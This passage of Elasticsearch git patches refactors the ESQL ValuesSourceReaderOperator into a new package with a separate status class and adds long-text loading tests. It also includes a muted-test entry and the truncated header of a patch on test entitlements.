-            case 5 -> valuesLoaded = randomValueOtherThan(valuesLoaded, ESTestCase::randomNonNegativeLong);
+            case 2 -> pagesReceived = randomValueOtherThan(pagesReceived, ESTestCase::randomNonNegativeInt);
+            case 3 -> pagesEmitted = randomValueOtherThan(pagesEmitted, ESTestCase::randomNonNegativeInt);
+            case 4 -> rowsReceived = randomValueOtherThan(rowsReceived, ESTestCase::randomNonNegativeLong);
+            case 5 -> rowsEmitted = randomValueOtherThan(rowsEmitted, ESTestCase::randomNonNegativeLong);
+            case 6 -> valuesLoaded = randomValueOtherThan(valuesLoaded, ESTestCase::randomNonNegativeLong);
             default -> throw new UnsupportedOperationException();
         }
-        return new ValuesSourceReaderOperator.Status(readersBuilt, processNanos, pagesProcessed, rowsReceived, rowsEmitted, valuesLoaded);
+        return new ValuesSourceReaderOperatorStatus(
+            readersBuilt,
+            processNanos,
+            pagesReceived,
+            pagesEmitted,
+            rowsReceived,
+            rowsEmitted,
+            valuesLoaded
+        );
     }
 }
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/ValuesSourceReaderOperatorTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorTests.java
similarity index 91%
rename from x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/ValuesSourceReaderOperatorTests.java
rename to x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorTests.java
index 1550b6dc013ab..6c1e89925702b 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/ValuesSourceReaderOperatorTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorTests.java
@@ -5,7 +5,7 @@
  * 2.0.
  */
 
-package org.elasticsearch.compute.lucene;
+package org.elasticsearch.compute.lucene.read;
 
 import org.apache.lucene.document.Document;
 import org.apache.lucene.document.DoubleDocValuesField;
@@ -45,6 +45,12 @@
 import org.elasticsearch.compute.data.LongBlock;
 import org.elasticsearch.compute.data.LongVector;
 import org.elasticsearch.compute.data.Page;
+import org.elasticsearch.compute.lucene.DataPartitioning;
+import org.elasticsearch.compute.lucene.LuceneOperator;
+import org.elasticsearch.compute.lucene.LuceneSliceQueue;
+import org.elasticsearch.compute.lucene.LuceneSourceOperator;
+import org.elasticsearch.compute.lucene.LuceneSourceOperatorTests;
+import org.elasticsearch.compute.lucene.ShardContext;
 import org.elasticsearch.compute.operator.Driver;
 import org.elasticsearch.compute.operator.DriverContext;
 import org.elasticsearch.compute.operator.Operator;
@@ -176,6 +182,10 @@ private SourceOperator simpleInput(DriverContext context, int size, int commitEv
         } catch (IOException e) {
             throw new RuntimeException(e);
         }
+        return sourceOperator(context, pageSize);
+    }
+
+    private SourceOperator sourceOperator(DriverContext context, int pageSize) {
         var luceneFactory = new LuceneSourceOperator.Factory(
             List.of(new LuceneSourceOperatorTests.MockShardContext(reader, 0)),
             ctx -> List.of(new LuceneSliceQueue.QueryAndTags(new MatchAllDocsQuery(), List.of())),
@@ -205,6 +215,7 @@ private void initMapping() throws IOException {
             simpleField(b, "missing_text", "text");
             b.startObject("source_text").field("type", "text").field("store", false).endObject();
             b.startObject("mv_source_text").field("type", "text").field("store", false).endObject();
+            b.startObject("long_source_text").field("type", "text").field("store", false).endObject();
             b.startObject("stored_text").field("type", "text").field("store", true).endObject();
             b.startObject("mv_stored_text").field("type", "text").field("store", true).endObject();
 
@@ -380,6 +391,33 @@ private IndexReader initIndex(Directory directory, int size, int commitEvery) th
         return DirectoryReader.open(directory);
     }
 
+    private IndexReader initIndexLongField(Directory directory, int size, int commitEvery) throws IOException {
+        try (
+            IndexWriter writer = new IndexWriter(
+                directory,
+                newIndexWriterConfig().setMergePolicy(NoMergePolicy.INSTANCE).setMaxBufferedDocs(IndexWriterConfig.DISABLE_AUTO_FLUSH)
+            )
+        ) {
+            for (int d = 0; d < size; d++) {
+                XContentBuilder source = JsonXContent.contentBuilder();
+                source.startObject();
+                source.field("long_source_text", Integer.toString(d).repeat(100 * 1024));
+                source.endObject();
+                ParsedDocument doc = mapperService.documentParser()
+                    .parseDocument(
+                        new SourceToParse("id" + d, BytesReference.bytes(source), XContentType.JSON),
+                        mapperService.mappingLookup()
+                    );
+                writer.addDocuments(doc.docs());
+
+                if (d % commitEvery == commitEvery - 1) {
+                    writer.commit();
+                }
+            }
+        }
+        return DirectoryReader.open(directory);
+    }
+
     @Override
     protected Matcher<String> expectedDescriptionOfSimple() {
         return equalTo("ValuesSourceReaderOperator[fields = [long]]");
@@ -491,16 +529,23 @@ public void testLoadAllInOnePageShuffled() {
         Page source = CannedSourceOperator.mergePages(
             CannedSourceOperator.collectPages(simpleInput(driverContext.blockFactory(), between(100, 5000)))
         );
-        List<Integer> shuffleList = new ArrayList<>();
-        IntStream.range(0, source.getPositionCount()).forEach(i -> shuffleList.add(i));
-        Randomness.shuffle(shuffleList);
-        int[] shuffleArray = shuffleList.stream().mapToInt(Integer::intValue).toArray();
-        Block[] shuffledBlocks = new Block[source.getBlockCount()];
-        for (int b = 0; b < shuffledBlocks.length; b++) {
-            shuffledBlocks[b] = source.getBlock(b).filter(shuffleArray);
-        }
-        source = new Page(shuffledBlocks);
-        loadSimpleAndAssert(driverContext, List.of(source), Block.MvOrdering.UNORDERED, Block.MvOrdering.UNORDERED);
+        loadSimpleAndAssert(driverContext, List.of(shuffle(source)), Block.MvOrdering.UNORDERED, Block.MvOrdering.UNORDERED);
+    }
+
+    private Page shuffle(Page source) {
+        try {
+            List<Integer> shuffleList = new ArrayList<>();
+            IntStream.range(0, source.getPositionCount()).forEach(i -> shuffleList.add(i));
+            Randomness.shuffle(shuffleList);
+            int[] shuffleArray = shuffleList.stream().mapToInt(Integer::intValue).toArray();
+            Block[] shuffledBlocks = new Block[source.getBlockCount()];
+            for (int b = 0; b < shuffledBlocks.length; b++) {
+                shuffledBlocks[b] = source.getBlock(b).filter(shuffleArray);
+            }
+            return new Page(shuffledBlocks);
+        } finally {
+            source.releaseBlocks();
+        }
     }
 
     private static ValuesSourceReaderOperator.FieldInfo fieldInfo(MappedFieldType ft, ElementType elementType) {
@@ -612,7 +657,9 @@ private void loadSimpleAndAssert(
             }
         }
         for (Operator op : operators) {
-            assertThat(((ValuesSourceReaderOperator) op).status().pagesProcessed(), equalTo(input.size()));
+            ValuesSourceReaderOperatorStatus status = (ValuesSourceReaderOperatorStatus) op.status();
+            assertThat(status.pagesReceived(), equalTo(input.size()));
+            assertThat(status.pagesEmitted(), equalTo(input.size()));
         }
         assertDriverContext(driverContext);
     }
@@ -696,8 +743,9 @@ private void testLoadAllStatus(boolean allInOnePage) {
         }
         drive(operators, input.iterator(), driverContext);
         for (int i = 0; i < cases.size(); i++) {
-            ValuesSourceReaderOperator.Status status = (ValuesSourceReaderOperator.Status) operators.get(i).status();
-            assertThat(status.pagesProcessed(), equalTo(input.size()));
+            ValuesSourceReaderOperatorStatus status = (ValuesSourceReaderOperatorStatus) operators.get(i).status();
+            assertThat(status.pagesReceived(), equalTo(input.size()));
+            assertThat(status.pagesEmitted(), equalTo(input.size()));
             FieldCase fc = cases.get(i);
             fc.checkReaders.check(fc.info.name(), allInOnePage, input.size(), reader.leaves().size(), status.readersBuilt());
         }
@@ -863,6 +911,73 @@ private List<FieldCase> infoAndChecksForEachType(
         return r;
     }
 
+    public void testLoadLong() throws IOException {
+        testLoadLong(false, false);
+    }
+
+    public void testLoadLongManySegments() throws IOException {
+        testLoadLong(false, true);
+    }
+
+    public void testLoadLongShuffled() throws IOException {
+        testLoadLong(true, false);
+    }
+
+    public void testLoadLongShuffledManySegments() throws IOException {
+        testLoadLong(true, true);
+    }
+
+    private void testLoadLong(boolean shuffle, boolean manySegments) throws IOException {
+        int numDocs = between(10, 500);
+        initMapping();
+        keyToTags.clear();
+        reader = initIndexLongField(directory, numDocs, manySegments ? commitEvery(numDocs) : numDocs);
+
+        DriverContext driverContext = driverContext();
+        List<Page> input = CannedSourceOperator.collectPages(sourceOperator(driverContext, numDocs));
+        assertThat(reader.leaves(), hasSize(manySegments ? greaterThan(5) : equalTo(1)));
+        assertThat(input, hasSize(reader.leaves().size()));
+        if (manySegments) {
+            input = List.of(CannedSourceOperator.mergePages(input));
+        }
+        if (shuffle) {
+            input = input.stream().map(this::shuffle).toList();
+        }
+
+        Checks checks = new Checks(Block.MvOrdering.DEDUPLICATED_AND_SORTED_ASCENDING, Block.MvOrdering.DEDUPLICATED_AND_SORTED_ASCENDING);
+
+        List<FieldCase> cases = List.of(
+            new FieldCase(
+                mapperService.fieldType("long_source_text"),
+                ElementType.BYTES_REF,
+                checks::strings,
+                StatusChecks::longTextFromSource
+            )
+        );
+        // Build one operator for each field, so we get a unique map to assert on
+        List<Operator> operators = cases.stream()
+            .map(
+                i -> new ValuesSourceReaderOperator.Factory(
+                    List.of(i.info),
+                    List.of(
+                        new ValuesSourceReaderOperator.ShardContext(
+                            reader,
+                            () -> SourceLoader.FROM_STORED_SOURCE,
+                            STORED_FIELDS_SEQUENTIAL_PROPORTIONS
+                        )
+                    ),
+                    0
+                ).get(driverContext)
+            )
+            .toList();
+        drive(operators, input.iterator(), driverContext);
+        for (int i = 0; i < cases.size(); i++) {
+            ValuesSourceReaderOperatorStatus status = (ValuesSourceReaderOperatorStatus) operators.get(i).status();
+            assertThat(status.pagesReceived(), equalTo(input.size()));
+            assertThat(status.pagesEmitted(), equalTo(input.size()));
+        }
+    }
+
     record Checks(Block.MvOrdering booleanAndNumericalDocValuesMvOrdering, Block.MvOrdering bytesRefDocValuesMvOrdering) {
         void longs(Block block, int position, int key) {
             LongVector longs = ((LongBlock) block).asVector();
@@ -1076,6 +1191,10 @@ static void textFromSource(boolean forcedRowByRow, int pageCount, int segmentCou
             source("source_text", "Bytes", forcedRowByRow, pageCount, segmentCount, readers);
         }
 
+        static void longTextFromSource(boolean forcedRowByRow, int pageCount, int segmentCount, Map<?, ?> readers) {
+            source("long_source_text", "Bytes", forcedRowByRow, pageCount, segmentCount, readers);
+        }
+
         static void textFromStored(boolean forcedRowByRow, int pageCount, int segmentCount, Map<?, ?> readers) {
             stored("stored_text", "Bytes", forcedRowByRow, pageCount, segmentCount, readers);
         }
@@ -1482,13 +1601,13 @@ public void testNullsShared() {
     }
 
     public void testSequentialStoredFieldsTooSmall() throws IOException {
-        testSequentialStoredFields(false, between(1, ValuesSourceReaderOperator.SEQUENTIAL_BOUNDARY - 1));
+        testSequentialStoredFields(false, between(1, ValuesFromSingleReader.SEQUENTIAL_BOUNDARY - 1));
     }
 
     public void testSequentialStoredFieldsBigEnough() throws IOException {
         testSequentialStoredFields(
             true,
-            between(ValuesSourceReaderOperator.SEQUENTIAL_BOUNDARY, ValuesSourceReaderOperator.SEQUENTIAL_BOUNDARY * 2)
+            between(ValuesFromSingleReader.SEQUENTIAL_BOUNDARY, ValuesFromSingleReader.SEQUENTIAL_BOUNDARY * 2)
         );
     }
 
@@ -1519,7 +1638,7 @@ private void testSequentialStoredFields(boolean sequential, int docCount) throws
             int key = keys.getInt(p);
             checks.strings(results.get(0).getBlock(2), p, key);
         }
-        ValuesSourceReaderOperator.Status status = (ValuesSourceReaderOperator.Status) op.status();
+        ValuesSourceReaderOperatorStatus status = (ValuesSourceReaderOperatorStatus) op.status();
         assertMap(
             status.readersBuilt(),
             matchesMap().entry("key:column_at_a_time:BlockDocValuesReader.SingletonInts", 1)
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/DriverProfileTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/DriverProfileTests.java
index c8f8094f69c27..016997369d403 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/DriverProfileTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/DriverProfileTests.java
@@ -12,8 +12,8 @@
 import org.elasticsearch.common.io.stream.Writeable;
 import org.elasticsearch.compute.lucene.LuceneSourceOperator;
 import org.elasticsearch.compute.lucene.LuceneSourceOperatorStatusTests;
-import org.elasticsearch.compute.lucene.ValuesSourceReaderOperator;
-import org.elasticsearch.compute.lucene.ValuesSourceReaderOperatorStatusTests;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperatorStatus;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperatorStatusTests;
 import org.elasticsearch.compute.operator.exchange.ExchangeSinkOperator;
 import org.elasticsearch.test.AbstractWireSerializingTestCase;
 import org.elasticsearch.test.ESTestCase;
@@ -166,7 +166,7 @@ protected DriverProfile mutateInstance(DriverProfile instance) throws IOExceptio
     @Override
     protected NamedWriteableRegistry getNamedWriteableRegistry() {
         return new NamedWriteableRegistry(
-            List.of(LuceneSourceOperator.Status.ENTRY, ValuesSourceReaderOperator.Status.ENTRY, ExchangeSinkOperator.Status.ENTRY)
+            List.of(LuceneSourceOperator.Status.ENTRY, ValuesSourceReaderOperatorStatus.ENTRY, ExchangeSinkOperator.Status.ENTRY)
         );
     }
 }
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/DriverStatusTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/DriverStatusTests.java
index df3583d0c99bd..c990fb99cd7dd 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/DriverStatusTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/operator/DriverStatusTests.java
@@ -12,8 +12,8 @@
 import org.elasticsearch.common.io.stream.Writeable;
 import org.elasticsearch.compute.lucene.LuceneSourceOperator;
 import org.elasticsearch.compute.lucene.LuceneSourceOperatorStatusTests;
-import org.elasticsearch.compute.lucene.ValuesSourceReaderOperator;
-import org.elasticsearch.compute.lucene.ValuesSourceReaderOperatorStatusTests;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperatorStatus;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperatorStatusTests;
 import org.elasticsearch.compute.operator.exchange.ExchangeSinkOperator;
 import org.elasticsearch.compute.operator.exchange.ExchangeSinkOperatorStatusTests;
 import org.elasticsearch.test.AbstractWireSerializingTestCase;
@@ -202,7 +202,7 @@ protected DriverStatus mutateInstance(DriverStatus instance) throws IOException
     @Override
     protected NamedWriteableRegistry getNamedWriteableRegistry() {
         return new NamedWriteableRegistry(
-            List.of(LuceneSourceOperator.Status.ENTRY, ValuesSourceReaderOperator.Status.ENTRY, ExchangeSinkOperator.Status.ENTRY)
+            List.of(LuceneSourceOperator.Status.ENTRY, ValuesSourceReaderOperatorStatus.ENTRY, ExchangeSinkOperator.Status.ENTRY)
         );
     }
 }
diff --git a/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/RestEsqlIT.java b/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/RestEsqlIT.java
index 6dca5cf4efaf5..68c606f2e3fa2 100644
--- a/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/RestEsqlIT.java
+++ b/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/RestEsqlIT.java
@@ -943,7 +943,9 @@ private String checkOperatorProfile(Map<String, Object> o) {
                 .entry("process_nanos", greaterThan(0))
                 .entry("processed_queries", List.of("*:*"))
                 .entry("partitioning_strategies", matchesMap().entry("rest-esql-test:0", "SHARD"));
-            case "ValuesSourceReaderOperator" -> basicProfile().entry("values_loaded", greaterThanOrEqualTo(0))
+            case "ValuesSourceReaderOperator" -> basicProfile().entry("pages_received", greaterThan(0))
+                .entry("pages_emitted", greaterThan(0))
+                .entry("values_loaded", greaterThanOrEqualTo(0))
                 .entry("readers_built", matchesMap().extraOk());
             case "AggregationOperator" -> matchesMap().entry("pages_processed", greaterThan(0))
                 .entry("rows_received", greaterThan(0))
@@ -954,7 +956,7 @@ private String checkOperatorProfile(Map<String, Object> o) {
             case "ExchangeSourceOperator" -> matchesMap().entry("pages_waiting", 0)
                 .entry("pages_emitted", greaterThan(0))
                 .entry("rows_emitted", greaterThan(0));
-            case "ProjectOperator", "EvalOperator" -> basicProfile();
+            case "ProjectOperator", "EvalOperator" -> basicProfile().entry("pages_processed", greaterThan(0));
             case "LimitOperator" -> matchesMap().entry("pages_processed", greaterThan(0))
                 .entry("limit", 1000)
                 .entry("limit_remaining", 999)
@@ -990,8 +992,7 @@ private String checkOperatorProfile(Map<String, Object> o) {
     }
 
     private MapMatcher basicProfile() {
-        return matchesMap().entry("pages_processed", greaterThan(0))
-            .entry("process_nanos", greaterThan(0))
+        return matchesMap().entry("process_nanos", greaterThan(0))
             .entry("rows_received", greaterThan(0))
             .entry("rows_emitted", greaterThan(0));
     }
diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/EsqlActionTaskIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/EsqlActionTaskIT.java
index e98574926e586..efefde8871546 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/EsqlActionTaskIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/EsqlActionTaskIT.java
@@ -19,7 +19,7 @@
 import org.elasticsearch.common.util.CollectionUtils;
 import org.elasticsearch.common.util.concurrent.AbstractRunnable;
 import org.elasticsearch.compute.lucene.LuceneSourceOperator;
-import org.elasticsearch.compute.lucene.ValuesSourceReaderOperator;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperatorStatus;
 import org.elasticsearch.compute.operator.DriverStatus;
 import org.elasticsearch.compute.operator.DriverTaskRunner;
 import org.elasticsearch.compute.operator.OperatorStatus;
@@ -129,12 +129,13 @@ public void testTaskContents() throws Exception {
                     }
                     if (o.operator().equals("ValuesSourceReaderOperator[fields = [pause_me]]")) {
                         assertThat(description, equalTo("data"));
-                        ValuesSourceReaderOperator.Status oStatus = (ValuesSourceReaderOperator.Status) o.status();
+                        ValuesSourceReaderOperatorStatus oStatus = (ValuesSourceReaderOperatorStatus) o.status();
                         assertMap(
                             oStatus.readersBuilt(),
                             matchesMap().entry("pause_me:column_at_a_time:ScriptLongs", greaterThanOrEqualTo(1))
                         );
-                        assertThat(oStatus.pagesProcessed(), greaterThanOrEqualTo(1));
+                        assertThat(oStatus.pagesReceived(), greaterThanOrEqualTo(1));
+                        assertThat(oStatus.pagesEmitted(), greaterThanOrEqualTo(1));
                         assertThat(oStatus.valuesLoaded(), greaterThanOrEqualTo(1L));
                         valuesSourceReaders++;
                         continue;
diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/LookupFromIndexIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/LookupFromIndexIT.java
index 1355ffba796a8..1d63a2bcf5373 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/LookupFromIndexIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/LookupFromIndexIT.java
@@ -28,7 +28,7 @@
 import org.elasticsearch.compute.lucene.LuceneSliceQueue;
 import org.elasticsearch.compute.lucene.LuceneSourceOperator;
 import org.elasticsearch.compute.lucene.ShardContext;
-import org.elasticsearch.compute.lucene.ValuesSourceReaderOperator;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperator;
 import org.elasticsearch.compute.operator.Driver;
 import org.elasticsearch.compute.operator.DriverContext;
 import org.elasticsearch.compute.operator.DriverRunner;
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
index 8b1320a9a5b21..9661d571167ec 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
@@ -9,6 +9,7 @@
 
 import org.elasticsearch.Build;
 import org.elasticsearch.common.util.FeatureFlag;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperator;
 import org.elasticsearch.features.NodeFeature;
 import org.elasticsearch.rest.action.admin.cluster.RestNodesCapabilitiesAction;
 import org.elasticsearch.xpack.esql.core.plugin.EsqlCorePlugin;
@@ -1016,7 +1017,7 @@ public enum Cap {
         FILTER_IN_CONVERTED_NULL,
 
         /**
-         * When creating constant null blocks in {@link org.elasticsearch.compute.lucene.ValuesSourceReaderOperator}, we also handed off
+         * When creating constant null blocks in {@link ValuesSourceReaderOperator}, we also handed off
          * the ownership of that block - but didn't account for the fact that the caller might close it, leading to double releases
          * in some union type queries. C.f. https://github.com/elastic/elasticsearch/issues/125850
          */
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlQueryResponse.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlQueryResponse.java
index 93c30470c316c..4afb1418b2585 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlQueryResponse.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlQueryResponse.java
@@ -402,15 +402,17 @@ public static Profile readFrom(StreamInput in) throws IOException {
             return new Profile(
                 in.readCollectionAsImmutableList(DriverProfile::readFrom),
                 in.getTransportVersion().onOrAfter(TransportVersions.ESQL_PROFILE_INCLUDE_PLAN)
-                    ? in.readCollectionAsImmutableList(PlanProfile::readFrom)
-                    : List.of()
+                    || in.getTransportVersion().isPatchFrom(TransportVersions.ESQL_PROFILE_INCLUDE_PLAN_8_19)
+                        ? in.readCollectionAsImmutableList(PlanProfile::readFrom)
+                        : List.of()
             );
         }
 
         @Override
         public void writeTo(StreamOutput out) throws IOException {
             out.writeCollection(drivers);
-            if (out.getTransportVersion().onOrAfter(TransportVersions.ESQL_PROFILE_INCLUDE_PLAN)) {
+            if (out.getTransportVersion().onOrAfter(TransportVersions.ESQL_PROFILE_INCLUDE_PLAN)
+                || out.getTransportVersion().isPatchFrom(TransportVersions.ESQL_PROFILE_INCLUDE_PLAN_8_19)) {
                 out.writeCollection(plans);
             }
         }
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/enrich/AbstractLookupService.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/enrich/AbstractLookupService.java
index 1c21f92053603..661b6d08d1455 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/enrich/AbstractLookupService.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/enrich/AbstractLookupService.java
@@ -35,7 +35,7 @@
 import org.elasticsearch.compute.data.LongBlock;
 import org.elasticsearch.compute.data.OrdinalBytesRefBlock;
 import org.elasticsearch.compute.data.Page;
-import org.elasticsearch.compute.lucene.ValuesSourceReaderOperator;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperator;
 import org.elasticsearch.compute.operator.Driver;
 import org.elasticsearch.compute.operator.DriverContext;
 import org.elasticsearch.compute.operator.Operator;
@@ -347,8 +347,14 @@ private void doLookup(T request, CancellableTask task, ActionListener<List<Page>
                 warnings
             );
             releasables.add(queryOperator);
-            var extractFieldsOperator = extractFieldsOperator(shardContext.context, driverContext, request.extractFields);
-            releasables.add(extractFieldsOperator);
+
+            List<Operator> operators = new ArrayList<>();
+            if (request.extractFields.isEmpty() == false) {
+                var extractFieldsOperator = extractFieldsOperator(shardContext.context, driverContext, request.extractFields);
+                releasables.add(extractFieldsOperator);
+                operators.add(extractFieldsOperator);
+            }
+            operators.add(finishPages);
 
             /*
              * Collect all result Pages in a synchronizedList mostly out of paranoia. We'll
@@ -370,7 +376,7 @@ private void doLookup(T request, CancellableTask task, ActionListener<List<Page>
                 driverContext,
                 request::toString,
                 queryOperator,
-                List.of(extractFieldsOperator, finishPages),
+                operators,
                 outputOperator,
                 Driver.DEFAULT_STATUS_INTERVAL,
                 Releasables.wrap(shardContext.release, localBreaker)
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/EsPhysicalOperationProviders.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/EsPhysicalOperationProviders.java
index acf685f3dcd9c..3f403d3e4fcd2 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/EsPhysicalOperationProviders.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/EsPhysicalOperationProviders.java
@@ -28,9 +28,9 @@
 import org.elasticsearch.compute.lucene.LuceneSliceQueue;
 import org.elasticsearch.compute.lucene.LuceneSourceOperator;
 import org.elasticsearch.compute.lucene.LuceneTopNSourceOperator;
-import org.elasticsearch.compute.lucene.TimeSeriesExtractFieldOperator;
 import org.elasticsearch.compute.lucene.TimeSeriesSourceOperatorFactory;
-import org.elasticsearch.compute.lucene.ValuesSourceReaderOperator;
+import org.elasticsearch.compute.lucene.read.TimeSeriesExtractFieldOperator;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperator;
 import org.elasticsearch.compute.operator.Operator;
 import org.elasticsearch.compute.operator.OrdinalsGroupingOperator;
 import org.elasticsearch.compute.operator.SourceOperator;
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlPlugin.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlPlugin.java
index 293a7be6be041..2c851431b59c6 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlPlugin.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/EsqlPlugin.java
@@ -24,7 +24,7 @@
 import org.elasticsearch.compute.lucene.DataPartitioning;
 import org.elasticsearch.compute.lucene.LuceneOperator;
 import org.elasticsearch.compute.lucene.TimeSeriesSourceOperator;
-import org.elasticsearch.compute.lucene.ValuesSourceReaderOperator;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperatorStatus;
 import org.elasticsearch.compute.operator.AbstractPageMappingOperator;
 import org.elasticsearch.compute.operator.AbstractPageMappingToIteratorOperator;
 import org.elasticsearch.compute.operator.AggregationOperator;
@@ -320,7 +320,7 @@ public List<NamedWriteableRegistry.Entry> getNamedWriteables() {
         entries.add(TimeSeriesSourceOperator.Status.ENTRY);
         entries.add(TopNOperatorStatus.ENTRY);
         entries.add(MvExpandOperator.Status.ENTRY);
-        entries.add(ValuesSourceReaderOperator.Status.ENTRY);
+        entries.add(ValuesSourceReaderOperatorStatus.ENTRY);
         entries.add(SingleValueQuery.ENTRY);
         entries.add(AsyncOperator.Status.ENTRY);
         entries.add(EnrichLookupOperator.Status.ENTRY);
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/planner/LocalExecutionPlannerTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/planner/LocalExecutionPlannerTests.java
index 9bc2118c0451f..6749f03bedde7 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/planner/LocalExecutionPlannerTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/planner/LocalExecutionPlannerTests.java
@@ -23,7 +23,7 @@
 import org.elasticsearch.compute.lucene.DataPartitioning;
 import org.elasticsearch.compute.lucene.LuceneSourceOperator;
 import org.elasticsearch.compute.lucene.LuceneTopNSourceOperator;
-import org.elasticsearch.compute.lucene.ValuesSourceReaderOperator;
+import org.elasticsearch.compute.lucene.read.ValuesSourceReaderOperator;
 import org.elasticsearch.compute.operator.SourceOperator;
 import org.elasticsearch.compute.test.NoOpReleasable;
 import org.elasticsearch.compute.test.TestBlockFactory;

From c5ecb5b014f7154caf18ffae113dadf9400e1a75 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Tue, 8 Jul 2025 15:47:49 +0200
Subject: [PATCH 093/299] Mute org.elasticsearch.search.SearchWithRejectionsIT
 testOpenContextsAfterRejections #130821

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index 9aca1fa7a89ad..09dddc5d7b7ab 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -539,6 +539,9 @@ tests:
 - class: org.elasticsearch.backwards.MixedClusterClientYamlTestSuiteIT
   method: test {p0=search.vectors/40_knn_search/Dimensions are dynamically set}
   issue: https://github.com/elastic/elasticsearch/issues/130626
+- class: org.elasticsearch.search.SearchWithRejectionsIT
+  method: testOpenContextsAfterRejections
+  issue: https://github.com/elastic/elasticsearch/issues/130821
 
 # Examples:
 #

From 45d48ea575455b5a0aeb2175a9c723dfc74a2cde Mon Sep 17 00:00:00 2001
From: Moritz Mack <mmack@apache.org>
Date: Tue, 8 Jul 2025 16:54:56 +0200
Subject: [PATCH 094/299] Entitle com.unboundid.ldap.listener as test package
 (#130706) (#130819)

---
 .../bootstrap/TestEntitlementBootstrap.java   |  4 ++
 .../runtime/policy/TestPolicyManager.java     | 57 +++++++++++++++++--
 .../org/elasticsearch/test/ESTestCase.java    | 16 +++++-
 .../policy/TestPolicyManagerTests.java        | 43 ++++++++++++++
 .../plugin-metadata/entitlement-policy.yaml   |  1 -
